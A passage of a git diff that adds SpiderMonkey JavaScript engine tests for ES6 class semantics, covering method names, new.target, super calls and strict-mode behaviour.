+
+ assertEq(Object.getOwnPropertyDescriptor(new a(), "staticMethod"), undefined);
+ var aStaticMethDesc = Object.getOwnPropertyDescriptor(a, "staticMethod");
+ assertEq(aStaticMethDesc.configurable, true);
+ assertEq(aStaticMethDesc.enumerable, false);
+ assertEq(aStaticMethDesc.writable, true);
+ aStaticMethDesc.value();
+ assertThrowsInstanceOf(() => new aStaticMethDesc.value, TypeError);
+ assertEq(staticMethodCalled, true);
+
+ assertEq(Object.getOwnPropertyDescriptor(new a(), "staticGetter"), undefined);
+ var aStaticGetDesc = Object.getOwnPropertyDescriptor(a, "staticGetter");
+ assertEq(aStaticGetDesc.configurable, true);
+ assertEq(aStaticGetDesc.enumerable, false);
+ aStaticGetDesc.get();
+ assertThrowsInstanceOf(() => new aStaticGetDesc.get, TypeError);
+ assertEq(staticGetterCalled, true);
+
+ assertEq(Object.getOwnPropertyDescriptor(new a(), "staticSetter"), undefined);
+ var aStaticSetDesc = Object.getOwnPropertyDescriptor(a, "staticSetter");
+ assertEq(aStaticSetDesc.configurable, true);
+ assertEq(aStaticSetDesc.enumerable, false);
+ aStaticSetDesc.set();
+ assertThrowsInstanceOf(() => new aStaticSetDesc.set, TypeError);
+ assertEq(staticSetterCalled, true);
+
+ assertEq([...new a()].join(), "cow,pig");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/methodName.js b/js/src/tests/ecma_6/Class/methodName.js
new file mode 100644
index 000000000..02a726c10
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/methodName.js
@@ -0,0 +1,40 @@
+class TestClass {
+ get getter() { }
+ set setter(x) { }
+ method() { }
+
+ static get staticGetter() { }
+ static set staticSetter(x) { }
+ static staticMethod() { }
+
+ get 1() { }
+ set 2(v) { }
+ 3() { }
+
+ static get 4() { }
+ static set 5(x) { }
+ static 6() { }
+}
+
+function name(obj, property, get) {
+ let desc = Object.getOwnPropertyDescriptor(obj, property);
+ return (get ? desc.get : desc.set).name;
+}
+
+assertEq(name(TestClass.prototype, "getter", true), "get getter");
+assertEq(name(TestClass.prototype, "setter", false), "set setter");
+assertEq(TestClass.prototype.method.name, "method");
+
+assertEq(name(TestClass, "staticGetter", true), "get staticGetter");
+assertEq(name(TestClass, "staticSetter", false), "set staticSetter");
+assertEq(TestClass.staticMethod.name, "staticMethod");
+
+assertEq(name(TestClass.prototype, "1", true), "get 1");
+assertEq(name(TestClass.prototype, "2", false), "set 2");
+assertEq(TestClass.prototype[3].name, "3");
+
+assertEq(name(TestClass, "4", true), "get 4");
+assertEq(name(TestClass, "5", false), "set 5");
+assertEq(TestClass[6].name, "6");
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Class/methodOverwrites.js b/js/src/tests/ecma_6/Class/methodOverwrites.js
new file mode 100644
index 000000000..c1c460a28
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/methodOverwrites.js
@@ -0,0 +1,80 @@
+// Ensure that we can overwrite methods when more tha one is present.
+{
+ var result = 0;
+ // Regardless of order, the constructor is overridden by any CPN, because it's
+ // processed seperately.
+ class a { ["constructor"]() { result += 1; }; constructor() { result += 2; } }
+ var aInst = new a();
+ assertEq(result, 2);
+ aInst.constructor();
+ assertEq(result, 3);
+
+ class b { constructor() { result += 2; } ["constructor"]() { result += 1; }; }
+ var bInst = new b();
+ assertEq(result, 5);
+ bInst.constructor();
+ assertEq(result, 6);
+
+ class c { constructor() { } method() { result += 1 } get method() { result += 2 } }
+ new c().method;
+ assertEq(result, 8);
+
+ class d { constructor() { } get method() { result += 1 } method() { result += 2 } }
+ new d().method();
+ assertEq(result, 10);
+
+ // getters and setter should not overwrite each other, but merge cleanly.
+ class e { constructor() { } get method() { result += 1 } set method(x) { } }
+ new e().method;
+ assertEq(result, 11);
+
+ class f { constructor() { }
+ set method(x) { throw "NO"; }
+ method() { throw "NO" }
+ get method() { return new Function("result += 1"); }
+ }
+ new f().method();
+ assertEq(result, 12);
+}
+
+// Try again with expressions.
+{
+ var result = 0;
+ // Regardless of order, the constructor is overridden by any CPN, because it's
+ // processed seperately.
+ let a = class { ["constructor"]() { result += 1; }; constructor() { result += 2; } };
+ var aInst = new a();
+ assertEq(result, 2);
+ aInst.constructor();
+ assertEq(result, 3);
+
+ let b = class { constructor() { result += 2; } ["constructor"]() { result += 1; }; };
+ var bInst = new b();
+ assertEq(result, 5);
+ bInst.constructor();
+ assertEq(result, 6);
+
+ let c = class { constructor() { } method() { result += 1 } get method() { result += 2 } };
+ new c().method;
+ assertEq(result, 8);
+
+ let d = class { constructor() { } get method() { result += 1 } method() { result += 2 } };
+ new d().method();
+ assertEq(result, 10);
+
+ // getters and setter should not overwrite each other, but merge cleanly.
+ let e = class { constructor() { } get method() { result += 1 } set method(x) { } };
+ new e().method;
+ assertEq(result, 11);
+
+ let f = class { constructor() { }
+ set method(x) { throw "NO"; }
+ method() { throw "NO" }
+ get method() { return new Function("result += 1"); }
+ };
+ new f().method();
+ assertEq(result, 12);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/methodsPrototype.js b/js/src/tests/ecma_6/Class/methodsPrototype.js
new file mode 100644
index 000000000..07a565ceb
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/methodsPrototype.js
@@ -0,0 +1,39 @@
+class TestClass {
+ constructor() { }
+ method() { }
+ get getter() { }
+ set setter(x) { }
+ *generator() { }
+ static staticMethod() { }
+ static get staticGetter() { }
+ static set staticSetter(x) { }
+ static *staticGenerator() { }
+}
+
+var test = new TestClass();
+
+var hasPrototype = [
+ test.constructor,
+ test.generator,
+ TestClass.staticGenerator
+]
+
+for (var fun of hasPrototype) {
+ assertEq(fun.hasOwnProperty('prototype'), true);
+}
+
+var hasNoPrototype = [
+ test.method,
+ Object.getOwnPropertyDescriptor(test.__proto__, 'getter').get,
+ Object.getOwnPropertyDescriptor(test.__proto__, 'setter').set,
+ TestClass.staticMethod,
+ Object.getOwnPropertyDescriptor(TestClass, 'staticGetter').get,
+ Object.getOwnPropertyDescriptor(TestClass, 'staticSetter').set,
+]
+
+for (var fun of hasNoPrototype) {
+ assertEq(fun.hasOwnProperty('prototype'), false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetArgumentsIntact.js b/js/src/tests/ecma_6/Class/newTargetArgumentsIntact.js
new file mode 100644
index 000000000..d047085ea
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetArgumentsIntact.js
@@ -0,0 +1,44 @@
+// Since we put new.target at the end of the arguments vector, ensrue that it
+// doesn't interact with the arguments object
+
+var argsContent;
+
+function argsWithNewTarget(foo) {
+ assertEq(arguments.length, argsContent.length);
+ for (let i = 0; i < arguments.length; i++)
+ assertEq(arguments[i], argsContent[i]);
+ let nt = new.target;
+
+ // Assigning to the arguments object shouldn't infect new.target, either
+ arguments[arguments.length] = 42;
+ assertEq(new.target, nt);
+}
+
+// Test constructing invocations, with under and overflow
+argsContent = [];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget();
+
+argsContent = [1];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(1);
+
+argsContent = [1,2,3];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(1, 2, 3);
+
+// Test spreadnew as well.
+argsContent = [];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(...[]);
+
+argsContent = [1];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(...[1]);
+
+argsContent = [1,2,3];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(...[1,2,3]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetArrow.js b/js/src/tests/ecma_6/Class/newTargetArrow.js
new file mode 100644
index 000000000..548f75047
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetArrow.js
@@ -0,0 +1,24 @@
+// new.target is valid in any arrow function not in a global context.
+new Function('(() => new.target)()');
+
+// It's also good inside eval, but not global eval
+assertThrowsInstanceOf(() => eval('() => new.target'), SyntaxError);
+
+function assertNewTarget(expected) {
+ assertEq((()=>new.target)(), expected);
+ assertEq(eval('()=>new.target')(), expected);
+
+ // Make sure that arrow functions can escape their original context and
+ // still get the right answer.
+ return (() => new.target);
+}
+
+const ITERATIONS = 550;
+for (let i = 0; i < ITERATIONS; i++)
+ assertEq(assertNewTarget(undefined)(), undefined);
+
+for (let i = 0; i < ITERATIONS; i++)
+ assertEq(new assertNewTarget(assertNewTarget)(), assertNewTarget);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetBound.js b/js/src/tests/ecma_6/Class/newTargetBound.js
new file mode 100644
index 000000000..f65cfe3ca
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetBound.js
@@ -0,0 +1,16 @@
+function boundTarget(expected) {
+ assertEq(new.target, expected);
+}
+
+let bound = boundTarget.bind(undefined);
+
+const TEST_ITERATIONS = 550;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ bound(undefined);
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ new bound(boundTarget);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetCCW.js b/js/src/tests/ecma_6/Class/newTargetCCW.js
new file mode 100644
index 000000000..9f5f870d4
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetCCW.js
@@ -0,0 +1,10 @@
+// Make sure we wrap the new target on CCW construct calls.
+var g = newGlobal();
+
+let f = g.eval('(function (expected) { this.accept = new.target === expected; })');
+
+for (let i = 0; i < 1100; i++)
+ assertEq(new f(f).accept, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetDVG.js b/js/src/tests/ecma_6/Class/newTargetDVG.js
new file mode 100644
index 000000000..1f9c7d7fc
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetDVG.js
@@ -0,0 +1,7 @@
+function thunk() {
+ new.target();
+}
+assertThrownErrorContains(thunk, "new.target");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetDefaults.js b/js/src/tests/ecma_6/Class/newTargetDefaults.js
new file mode 100644
index 000000000..d5a4c5640
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetDefaults.js
@@ -0,0 +1,25 @@
+// Check that new.target works properly in defaults.
+
+function check(expected, actual = new.target) { assertEq(actual, expected); }
+new check(check);
+check(undefined);
+
+let evaldCheck = eval("(" + check.toString() + ")");
+new evaldCheck(evaldCheck);
+evaldCheck(undefined);
+
+function testInFunction() {
+ function checkInFunction(expected, actual = new.target) { assertEq(actual, expected); }
+ new checkInFunction(checkInFunction);
+ checkInFunction(undefined);
+
+ let evaldCheckInFunction = eval("(" + checkInFunction.toString() + ")");
+ new evaldCheckInFunction(evaldCheckInFunction);
+ evaldCheckInFunction(undefined);
+}
+
+testInFunction();
+new testInFunction();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetDirectInvoke.js b/js/src/tests/ecma_6/Class/newTargetDirectInvoke.js
new file mode 100644
index 000000000..d2cd1128c
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetDirectInvoke.js
@@ -0,0 +1,50 @@
+// new.target is valid inside Function() invocations
+var func = new Function("new.target");
+
+// Note that this will also test new.target in ion inlines. When the toplevel
+// script is compiled, assertNewTarget will be inlined.
+function assertNewTarget(expected, unused) { assertEq(new.target, expected); }
+
+// Test non-constructing invocations, with arg underflow, overflow, and correct
+// numbers
+for (let i = 0; i < 100; i++)
+ assertNewTarget(undefined, null);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(undefined);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(undefined, null, 1);
+
+// Test spread-call
+for (let i = 0; i < 100; i++)
+ assertNewTarget(...[undefined]);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(...[undefined, null]);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(...[undefined, null, 1]);
+
+// Test constructing invocations, again with under and overflow
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(assertNewTarget, null);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(assertNewTarget);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(assertNewTarget, null, 1);
+
+// Test spreadnew as well.
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(...[assertNewTarget]);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(...[assertNewTarget, null]);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(...[assertNewTarget, null, 1]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetEval.js b/js/src/tests/ecma_6/Class/newTargetEval.js
new file mode 100644
index 000000000..e3940bbf9
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetEval.js
@@ -0,0 +1,34 @@
+// Eval of new.target is invalid outside functions.
+try {
+ eval('new.target');
+ assertEq(false, true);
+} catch (e if e instanceof SyntaxError) { }
+
+// new.target is invalid inside eval inside top-level arrow functions
+assertThrowsInstanceOf(() => eval('new.target'), SyntaxError);
+
+// new.target is invalid inside indirect eval.
+let ieval = eval;
+try {
+ (function () ieval('new.target'))();
+ assertEq(false, true);
+} catch (e if e instanceof SyntaxError) { }
+
+function assertNewTarget(expected) {
+ assertEq(eval('new.target'), expected);
+ assertEq((()=>eval('new.target'))(), expected);
+
+ // Also test nestings "by induction"
+ assertEq(eval('eval("new.target")'), expected);
+ assertEq(eval("eval('eval(`new.target`)')"), expected);
+}
+
+const ITERATIONS = 550;
+for (let i = 0; i < ITERATIONS; i++)
+ assertNewTarget(undefined);
+
+for (let i = 0; i < ITERATIONS; i++)
+ new assertNewTarget(assertNewTarget);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetGenerators.js b/js/src/tests/ecma_6/Class/newTargetGenerators.js
new file mode 100644
index 000000000..614b1ab90
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetGenerators.js
@@ -0,0 +1,14 @@
+function *generatorNewTarget(expected) {
+ assertEq(new.target, expected);
+ assertEq(eval('new.target'), expected);
+ assertEq((() => new.target)(), expected);
+ yield (() => new.target);
+}
+
+const ITERATIONS = 25;
+
+for (let i = 0; i < ITERATIONS; i++)
+ assertEq(generatorNewTarget(undefined).next().value(), undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetMethods.js b/js/src/tests/ecma_6/Class/newTargetMethods.js
new file mode 100644
index 000000000..2383dc8bd
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetMethods.js
@@ -0,0 +1,51 @@
+// Just like newTargetDirectInvoke, except to prove it works in functions
+// defined with method syntax as well. Note that methods, getters, and setters
+// are not constructible.
+
+let ol = {
+ olTest(arg) { assertEq(arg, 4); assertEq(new.target, undefined); },
+ get ol() { assertEq(new.target, undefined); },
+ set ol(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+}
+
+class cl {
+ constructor() { assertEq(new.target, cl); }
+ clTest(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+ get cl() { assertEq(new.target, undefined); }
+ set cl(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+
+ static staticclTest(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+ static get staticcl() { assertEq(new.target, undefined); }
+ static set staticcl(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+}
+
+const TEST_ITERATIONS = 150;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ ol.olTest(4);
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ ol.ol;
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ ol.ol = 4;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ cl.staticclTest(4);
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ cl.staticcl;
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ cl.staticcl = 4;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ new cl();
+
+let clInst = new cl();
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ clInst.clTest(4);
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ clInst.cl;
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ clInst.cl = 4;
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetNonFunction.js b/js/src/tests/ecma_6/Class/newTargetNonFunction.js
new file mode 100644
index 000000000..59e6febef
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetNonFunction.js
@@ -0,0 +1,10 @@
+// Make sure that we can plumb new.target, even if the results are going to
+// throw.
+
+assertThrowsInstanceOf(() => new ""(...Array()), TypeError);
+
+assertThrowsInstanceOf(() => new ""(), TypeError);
+assertThrowsInstanceOf(() => new ""(1), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/newTargetProxyNative.js b/js/src/tests/ecma_6/Class/newTargetProxyNative.js
new file mode 100644
index 000000000..89cdd64ab
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/newTargetProxyNative.js
@@ -0,0 +1,5 @@
+var proxyToArray = new Proxy(Array, {});
+new proxyToArray();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/outerBinding.js b/js/src/tests/ecma_6/Class/outerBinding.js
new file mode 100644
index 000000000..e0f88a494
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/outerBinding.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!xulRuntime.shell)
+//
+// The above skip-if is because global lexicals aren't yet implemented. Remove
+// that and the |evaluate| call below once they are.
+//
+// A class statement creates a mutable lexical outer binding.
+
+class Foo { constructor() { } }
+assertEq(typeof Foo, "function");
+Foo = 5;
+assertEq(Foo, 5);
+
+{
+ class foo { constructor() { } }
+ assertEq(typeof foo, "function");
+ foo = 4;
+ assertEq(foo, 4);
+}
+
+{
+ class PermanentBinding { constructor() { } }
+ delete PermanentBinding;
+ // That...didn't actually work, right?
+ assertEq(typeof PermanentBinding, "function");
+}
+
+evaluate("const globalConstant = 0; var earlyError = true;");
+
+try {
+ evaluate("earlyError = false; class globalConstant { constructor() { } }");
+} catch (e if e instanceof SyntaxError) { }
+assertEq(earlyError, true);
+
+function strictEvalShadows() {
+ "use strict";
+ let x = 4;
+ eval(`class x { constructor() { } }
+ assertEq(typeof x, "function");
+ `);
+ assertEq(x, 4);
+}
+strictEvalShadows()
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/shell.js b/js/src/tests/ecma_6/Class/shell.js
new file mode 100644
index 000000000..7fb703b98
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/shell.js
@@ -0,0 +1,16 @@
+// NOTE: This only turns on 1.8.5 in shell builds. The browser requires the
+// futzing in js/src/tests/browser.js (which only turns on 1.8, the most
+// the browser supports).
+if (typeof version != 'undefined')
+ version(185);
+
+function assertThrownErrorContains(thunk, substr) {
+ try {
+ thunk();
+ } catch (e) {
+ if (e.message.indexOf(substr) !== -1)
+ return;
+ throw new Error("Expected error containing " + substr + ", got " + e);
+ }
+ throw new Error("Expected error containing " + substr + ", no exception thrown");
+}
diff --git a/js/src/tests/ecma_6/Class/staticConstructor.js b/js/src/tests/ecma_6/Class/staticConstructor.js
new file mode 100644
index 000000000..bd79c2200
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/staticConstructor.js
@@ -0,0 +1,22 @@
+class testBasic {
+ constructor() { }
+ static constructor() { }
+}
+
+class testWithExtends extends null {
+ constructor() { };
+ static constructor() { };
+}
+
+class testOrder {
+ static constructor() { };
+ constructor() { };
+}
+
+class testOrderWithExtends extends null {
+ static constructor() { };
+ constructor() { };
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/staticMethods.js b/js/src/tests/ecma_6/Class/staticMethods.js
new file mode 100644
index 000000000..756e5abf5
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/staticMethods.js
@@ -0,0 +1,15 @@
+// basic static method test
+class X {
+ static count() { return ++this.hits; }
+ constructor() { }
+}
+X.hits = 0;
+assertEq(X.count(), 1);
+
+// A static method is just a function.
+assertEq(X.count instanceof Function, true);
+assertEq(X.count.length, 0);
+assertEq(X.count.bind({hits: 77})(), 78);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/strictExecution.js b/js/src/tests/ecma_6/Class/strictExecution.js
new file mode 100644
index 000000000..f459311e5
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/strictExecution.js
@@ -0,0 +1,38 @@
+// Classes are always strict mode. Check computed property names and heritage
+// expressions as well.
+
+class a { constructor() { Object.preventExtensions({}).prop = 0; } }
+assertThrowsInstanceOf(() => new a(), TypeError);
+var aExpr = class { constructor() { Object.preventExtensions().prop = 0; } };
+assertThrowsInstanceOf(() => new aExpr(), TypeError);
+
+function shouldThrowCPN() {
+ class b {
+ [Object.preventExtensions({}).prop = 4]() { }
+ constructor() { }
+ }
+}
+function shouldThrowCPNExpr() {
+ var b = class {
+ [Object.preventExtensions({}).prop = 4]() { }
+ constructor() { }
+ };
+}
+assertThrowsInstanceOf(shouldThrowCPN, TypeError);
+assertThrowsInstanceOf(shouldThrowCPNExpr, TypeError);
+
+function shouldThrowHeritage() {
+ class b extends (Object.preventExtensions({}).prop = 4) {
+ constructor() { }
+ }
+}
+function shouldThrowHeritageExpr() {
+ var b = class extends (Object.preventExtensions({}).prop = 4) {
+ constructor() { }
+ };
+}
+assertThrowsInstanceOf(shouldThrowHeritage, TypeError);
+assertThrowsInstanceOf(shouldThrowHeritageExpr, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/stringConstructor.js b/js/src/tests/ecma_6/Class/stringConstructor.js
new file mode 100644
index 000000000..4e8ae3331
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/stringConstructor.js
@@ -0,0 +1,12 @@
+class A {
+ "constructor"() { return {}; }
+}
+assertEq(new A() instanceof A, false);
+
+class B extends class { } {
+ "constructor"() { return {}; }
+}
+assertEq(new B() instanceof B, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/subclassedArrayUnboxed.js b/js/src/tests/ecma_6/Class/subclassedArrayUnboxed.js
new file mode 100644
index 000000000..eb27a960d
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/subclassedArrayUnboxed.js
@@ -0,0 +1,22 @@
+class foo extends Array { }
+
+function testArrs(arrs) {
+ for (let arr of arrs) {
+ assertEq(Object.getPrototypeOf(arr), foo.prototype);
+ }
+}
+
+var arrs = [];
+for (var i = 0; i < 25; i++)
+ arrs.push(new foo(1));
+
+testArrs(arrs);
+
+arrs[0].nonIndexedProp = "uhoh";
+
+arrs.push(new foo(1));
+
+testArrs(arrs);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superCallBadDynamicSuperClass.js b/js/src/tests/ecma_6/Class/superCallBadDynamicSuperClass.js
new file mode 100644
index 000000000..f5b3ac3c0
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superCallBadDynamicSuperClass.js
@@ -0,0 +1,12 @@
+class base { constructor() { } }
+
+class inst extends base { constructor() { super(); } }
+Object.setPrototypeOf(inst, Math.sin);
+assertThrowsInstanceOf(() => new inst(), TypeError);
+
+class defaultInst extends base { }
+Object.setPrototypeOf(inst, Math.sin);
+assertThrowsInstanceOf(() => new inst(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superCallBadNewTargetPrototype.js b/js/src/tests/ecma_6/Class/superCallBadNewTargetPrototype.js
new file mode 100644
index 000000000..43d1eb60d
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superCallBadNewTargetPrototype.js
@@ -0,0 +1,25 @@
+class base { constructor() { } }
+
+// lies and the lying liars who tell them
+function lies() { }
+lies.prototype = 4;
+
+assertThrowsInstanceOf(()=>Reflect.consruct(base, [], lies), TypeError);
+
+// lie a slightly different way
+function get(target, property, receiver) {
+ if (property === "prototype")
+ return 42;
+ return Reflect.get(target, property, receiver);
+}
+
+class inst extends base {
+ constructor() { super(); }
+}
+assertThrowsInstanceOf(()=>new new Proxy(inst, {get})(), TypeError);
+
+class defaultInst extends base {}
+assertThrowsInstanceOf(()=>new new Proxy(defaultInst, {get})(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superCallBaseInvoked.js b/js/src/tests/ecma_6/Class/superCallBaseInvoked.js
new file mode 100644
index 000000000..b66f9be17
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superCallBaseInvoked.js
@@ -0,0 +1,55 @@
+function testBase(base) {
+ class instance extends base {
+ constructor(inst, one) {
+ super(inst, one);
+ }
+ }
+
+ let inst = new instance(instance, 1);
+ assertEq(Object.getPrototypeOf(inst), instance.prototype);
+ assertEq(inst.calledBase, true);
+
+ class defaultInstance extends base { }
+ let defInst = new defaultInstance(defaultInstance, 1);
+ assertEq(Object.getPrototypeOf(defInst), defaultInstance.prototype);
+ assertEq(defInst.calledBase, true);
+}
+
+class base {
+ // Base class must be [[Construct]]ed, as you cannot [[Call]] a class
+ // constructor
+ constructor(nt, one) {
+ assertEq(new.target, nt);
+
+ // Check argument ordering
+ assertEq(one, 1);
+ this.calledBase = true;
+ }
+}
+
+testBase(base);
+testBase(class extends base {
+ constructor(nt, one) {
+ // Every step of the way, new.target and args should be right
+ assertEq(new.target, nt);
+ assertEq(one, 1);
+ super(nt, one);
+ }
+ });
+function baseFunc(nt, one) {
+ assertEq(new.target, nt);
+ assertEq(one, 1);
+ this.calledBase = true;
+}
+
+testBase(baseFunc);
+
+let handler = {};
+let p = new Proxy(baseFunc, handler);
+testBase(p);
+
+handler.construct = (target, args, nt) => Reflect.construct(target, args, nt);
+testBase(p);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superCallIllegal.js b/js/src/tests/ecma_6/Class/superCallIllegal.js
new file mode 100644
index 000000000..8b7b36397
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superCallIllegal.js
@@ -0,0 +1,7 @@
+// super() invalid outside derived class constructors, including in dynamic
+// functions and eval
+assertThrowsInstanceOf(() => new Function("super();"), SyntaxError);
+assertThrowsInstanceOf(() => eval("super()"), SyntaxError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superCallInvalidBase.js b/js/src/tests/ecma_6/Class/superCallInvalidBase.js
new file mode 100644
index 000000000..86b24f96c
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superCallInvalidBase.js
@@ -0,0 +1,9 @@
+class instance extends null {
+ constructor() { super(); }
+}
+
+assertThrowsInstanceOf(() => new instance(), TypeError);
+assertThrowsInstanceOf(() => new class extends null { }(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superCallOrder.js b/js/src/tests/ecma_6/Class/superCallOrder.js
new file mode 100644
index 000000000..051658eef
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superCallOrder.js
@@ -0,0 +1,26 @@
+function base() { }
+
+class beforeSwizzle extends base {
+ constructor() {
+ super(Object.setPrototypeOf(beforeSwizzle, null));
+ }
+}
+
+new beforeSwizzle();
+
+// Again, testing both dynamic prototype dispatch, and that we get the function
+// before evaluating args
+class beforeThrow extends base {
+ constructor() {
+ function thrower() { throw new Error(); }
+ super(thrower());
+ }
+}
+
+Object.setPrototypeOf(beforeThrow, Math.sin);
+
+// Will throw that Math.sin is not a constructor before evaluating the args
+assertThrowsInstanceOf(() => new beforeThrow(), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superCallProperBase.js b/js/src/tests/ecma_6/Class/superCallProperBase.js
new file mode 100644
index 000000000..cc03f57d0
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/superCallProperBase.js
@@ -0,0 +1,34 @@
+class base1 {
+ constructor() {
+ this.base = 1;
+ }
+}
+
+class base2 {
+ constructor() {
+ this.base = 2;
+ }
+}
+
+class inst extends base1 {
+ constructor() {
+ super();
+ }
+}
+
+assertEq(new inst().base, 1);
+
+Object.setPrototypeOf(inst, base2);
+
+assertEq(new inst().base, 2);
+
+// Still works with default constructor
+
+class defaultInst extends base1 { }
+
+assertEq(new defaultInst().base, 1);
+Object.setPrototypeOf(defaultInst, base2);
+assertEq(new defaultInst().base, 2);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/superCallSpreadCall.js b/js/src/tests/ecma_6/Class/superCallSpreadCall.js
new file mode 100644
index 000000000..1045f1a22
--- /dev/null
